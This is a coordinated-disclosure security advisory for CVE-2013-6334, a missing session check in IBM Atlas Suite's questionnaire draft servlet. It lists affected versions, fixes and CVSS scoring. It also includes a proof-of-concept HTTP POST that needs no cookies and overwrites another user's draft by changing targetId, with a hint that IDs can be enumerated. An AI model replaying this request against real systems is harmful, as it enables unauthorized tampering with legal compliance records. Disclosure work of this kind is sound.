Security Advisory SWRX-2014-003

IBM Atlas Suite anonymous modification of user data

Dell SecureWorks Counter Threat Unit™ Threat Intelligence

Advisory Information

Title: IBM Atlas Suite anonymous modification of user data
Advisory ID: SWRX-2014-003
Advisory URL: http://www.secureworks.com/cyber-threat-intelligence/advisories/SWRX-2014-003/
Date published: Tuesday, January 14, 2014
CVE: CVE-2013-6334
CVSS v2 base score: 7.5
Date of last update: Tuesday, January 14, 2014
Vendors contacted: IBM Corporation
Release mode: Coordinated
Discovered by: Craig Lambert, Dell SecureWorks

Summary

The IBM Atlas Suite/Atlas Policy Suite is a solution portfolio that retains and archives information, meets eDiscovery obligations, and defensibly disposes of information to lower customers' cost and risk.

An access control vulnerability exists in affected Atlas Suite products due to insufficient session verification. Successful exploitation allows an attacker without a valid session to modify draft compliance questionnaires.

Affected products

This vulnerability affects the following products:

- IBM Atlas eDiscovery Process Management: versions 6.0.1.5 and earlier, version 6.0.2
- IBM Disposal and Governance Management for IT: versions 6.0.1.5 and earlier, version 6.0.2
- IBM Global Retention Policy and Schedule Management: versions 6.0.1.5 and earlier, version 6.0.2

Vendor information, solutions, and workarounds

Version 6.0.1.5:

1. Apply 6.0.1 Fix Pack 5 from IBM Fix Central.
2. Apply 6.0.1 Fix Pack 5 Interim Fix 1 from IBM Fix Central.

Version 6.0.2.0:

1. Install or upgrade to 6.0.2.
2. Apply Interim Fix 2 from IBM Fix Central.

Additional information:

- IBM X-Force Security bulletin: IBM Atlas Suite security bypass (CVE-2013-6334)
- IBM Security bulletins for vulnerabilities 1232 and 1233 (may require login)

Details

An access control vulnerability exists in IBM Atlas Suite/Atlas Policy Suite 6.0.15 and earlier and 6.0.2 due to insufficient session validation affecting the Compliance Questionnaire "Save Draft" servlet URL `PolicyAtlas/ResponseDraftServlet`. An attacker can craft an HTTP request to exploit this vulnerability, and knowledge of how to craft the HTTP request is easily obtainable because all users can complete "Compliance Questionnaires." Furthermore, a valid session identifier (JSESSIONID) is *not* required. Therefore, it is possible for former users to attack the application if they possess a valid HTTP request.

Remote, unauthenticated attackers could leverage this issue to manipulate data in draft Compliance Questionnaires. Data submitted in the affected parameters modifies the questionnaire belonging to the owner of the "targetId" questionnaire. Successful exploitation could overwrite all draft Compliance Questionnaires, affecting the integrity and availability of data.

CVSS severity (version 2.0)

Access vector: Network
Access complexity: Low
Authentication: None
Impact type: Allows unauthorized modification
Confidentiality impact: Partial
Integrity impact: Partial
Availability impact: Partial
CVSS v2 base score: 7.5
CVSS v2 impact subscore: 6.4
CVSS v2 exploitability subscore: 10
CVSS v2 vector: (AV:N/AC:L/Au:N/C:P/I:P/A:P)

Proof of concept

Steps to repeat:

1. As user A, complete a Compliance Questionnaire and choose "Save as Draft."
2. Modify the "targetId" post parameter to another value, and update the "jsonString" with chosen values. It is possible to enumerate the range of plausible values to overwrite ALL draft Compliance Questionnaire data.
3. As user B, review existing draft Compliance Questionnaires via the Holds menu. Observe that the data has been modified.

HTTP POST request:

Note: No cookies are required for this request.

```
POST /PolicyAtlas/ResponseDraftServlet HTTP/1.1
Host: secureworks.com
User-Agent: Mozilla/5.0 (Windows NT 6.1; rv:24.0) Gecko/20100101 Firefox/24.0
Accept: text/javascript, text/html, application/xml, text/xml, */*
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate
X-Requested-With: XMLHttpRequest
X-Prototype-Version: 1.5.0
Content-Type: application/x-www-form-urlencoded; charset=UTF-8
```

```
Referer:
hxxps://secureworks.com/PolicyAtlas/faces/pages/matter/questionnaireResponse.jsp?targe
tId=21492&qid=9480&noticeId=470&noticeType=1&requestId=410&interval=29&reminderId=2137
5&procHeadId=120
Content-Length: 1611
Connection: close
Pragma: no-cache
ache-Control: no-cache

targetId=21510&noticeType=1&jsonString=%5B%7B%22Q1:%20Relevant%20Documents%22:%5B%22I%
20understand%20that%20I%20have%20to%20preserve%20any%20Relevant%20Documents%20as%20des
cribed%20in%20the%20Preservation%20Instructions%20above%20in%20this%20Questionnaire%20
and%20in%20the%20Preservation%20Notice%20e-
mail%20sent%20to%20me.%20I%20confirm%20that%20I%20will%20take%20all%20necessary%20step
s%20to%20ensure%20compliance%20with%20my%20preservation%20obligations.%22,%22I%20confi
rm.%22%5D,%22Q2:%20Leaving/Moving%22:%5B%22I%20understand%20that%20I%20have%20to%20pre
serve%20any%20Relevant%20Documents%20as%20described%20in%20the%20Preservation%20Instru
ctions%20above%20in%20this%20Questionnaire%20and%20in%20the%20Preservation%20Notice%20
e-
mail%20sent%20to%20me.%20I%20confirm%20that%20I%20will%20take%20all%20necessary%20step
s%20to%20ensure%20compliance%20with%20my%20preservation%20obligations.%22,%22I%20confi
rm.%22%5D,%22Q3:%20Successor%201%20(Y/N)%22:%22Yes,%20I%20have%20left%20Relevant%20Doc
uments%20I%20may%20have%20had%20in%20my%20files%20in%20the%20past%20with%20another%20p
erson%20(if%20choosing%20this%20option%20you%20must%20specify%20the%20name%20below).%2
2,%22Q4:%20Successor%202%20(names)%22:%22I%20just%20updated%20section%204%20for%20ques
tionnaire%20id%2021510%22,%22Q5:%20Final%20Confirmation%22:%22CERTIFICATION%20OPTION%2
01:%20I%20certify%20that%20the%20above%20statements%20are%20correct%20and%20that%20I%2
0HAVE%20RELEVANT%20DOCUMENTS.%20I%20further%20certify%20that%20I%20have%20read%20and%2
0understood%20all%20preservation%20instructions,%20that%20I%20have%20fully%20complied%
20with%20them%20and%20that%20I%20will%20continue%20to%20do%20so.%22%7D%5D
```

HTTP response:

```
HTTP/1.1 200 OK
Date: Tue, 15 Oct 2013 12:45:19 GMT
Server: WS
Cache-Control: no-store, no-cache, must-revalidate
Content-Length: 71
Expires: Thu, 01 Jan 1970 00:00:00 GMT
Set-Cookie:
JSESSIONID=TfqTSd4fs7nlQtKJqXJhlmlFLvXHml56LDTplcpTNZN6TMtrDcb2!1148268685; path=/
X-Powered-By: Servlet/2.5 JSP/2.1
X-UA-Compatible: IE=EmulateIE7
Keep-Alive: timeout=45
Connection: Keep-Alive
Content-Type: application/x-json; charset=UTF-8
Set-Cookie: NSC_qtt-bumbt-rb-
ttm_wt_XM=ffffffff099d939345525d5f4f58455e445a4a42378b;Version=1;path=/;secure;httponly

Draft has been saved on Oct 15, 2013 2:45:19 PM by User1, Hacker
```

Revision history

1.0 2014-01-14: Initial advisory released

PGP keys

This advisory has been signed with the Dell SecureWorks Counter Threat Unit™ PGP key, which is available for download at http://www.secureworks.com/contact/SecureWorksCTU.asc.

About Dell SecureWorks

Dell Inc. (NASDAQ: DELL) listens to clients and delivers worldwide innovative technology and business solutions they trust and value. Recognized as an industry leader by top analysts, Dell SecureWorks provides world-class information security services to help organizations of all sizes protect their IT assets, comply with regulations and reduce security costs.

Disclaimer